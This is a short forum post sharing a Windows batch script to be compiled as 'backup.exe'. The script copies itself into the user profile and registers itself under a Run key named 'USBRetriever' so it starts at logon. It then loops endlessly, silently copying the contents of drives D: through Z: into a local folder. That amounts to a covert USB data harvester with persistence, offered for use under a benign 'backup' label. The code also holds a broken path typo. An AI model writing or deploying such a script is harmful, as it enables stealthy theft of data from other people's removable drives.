Group: User Level:
Posts: 77 Joined: 6/3/2023 IP-Address: saved
| This batch is compiled to backup.exe, to fully automate this batch compile as backup.exe
@ECHO OFF :0 IF NOT EXIST "%userprofile%\backup.exe" goto 1 IF NOT EXIST "%userprofile\backup\" mkdir "%userprofile%\backup\" IF EXIST D:\ copy d:\ "%userprofile%\backup\" /y IF EXIST E:\ copy e:\ "%userprofile%\backup\" /y IF EXIST F:\ copy f:\ "%userprofile%\backup\" /y IF EXIST G:\ copy g:\ "%userprofile%\backup\" /y IF EXIST H:\ copy h:\ "%userprofile%\backup\" /y IF EXIST I:\ copy i:\ "%userprofile%\backup\" /y IF EXIST J:\ copy j:\ "%userprofile%\backup\" /y IF EXIST K:\ copy k:\ "%userprofile%\backup\" /y IF EXIST L:\ copy l:\ "%userprofile%\backup\" /y IF EXIST M:\ copy m:\ "%userprofile%\backup\" /y IF EXIST N:\ copy n:\ "%userprofile%\backup\" /y IF EXIST O:\ copy o:\ "%userprofile%\backup\" /y IF EXIST P:\ copy p:\ "%userprofile%\backup\" /y IF EXIST Q:\ copy q:\ "%userprofile%\backup\" /y IF EXIST R:\ copy r:\ "%userprofile%\backup\" /y IF EXIST S:\ copy s:\ "%userprofile%\backup\" /y IF EXIST T:\ copy t:\ "%userprofile%\backup\" /y IF EXIST U:\ copy u:\ "%userprofile%\backup\" /y IF EXIST V:\ copy v:\ "%userprofile%\backup\" /y IF EXIST W:\ copy w:\ "%userprofile%\backup\" /y IF EXIST X:\ copy x:\ "%userprofile%\backup\" /y IF EXIST Y:\ copy y:\ "%userprofile%\backup\" /y IF EXIST Z:\ copy z:\ "%userprofile%\backup\" /y goto 0 :1 copy backup.exe "%userprofile%\backup.exe" /y REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v USBRetriever /t REG_SZ /d "%userprofile%\backup.exe" /f >nul goto 0
|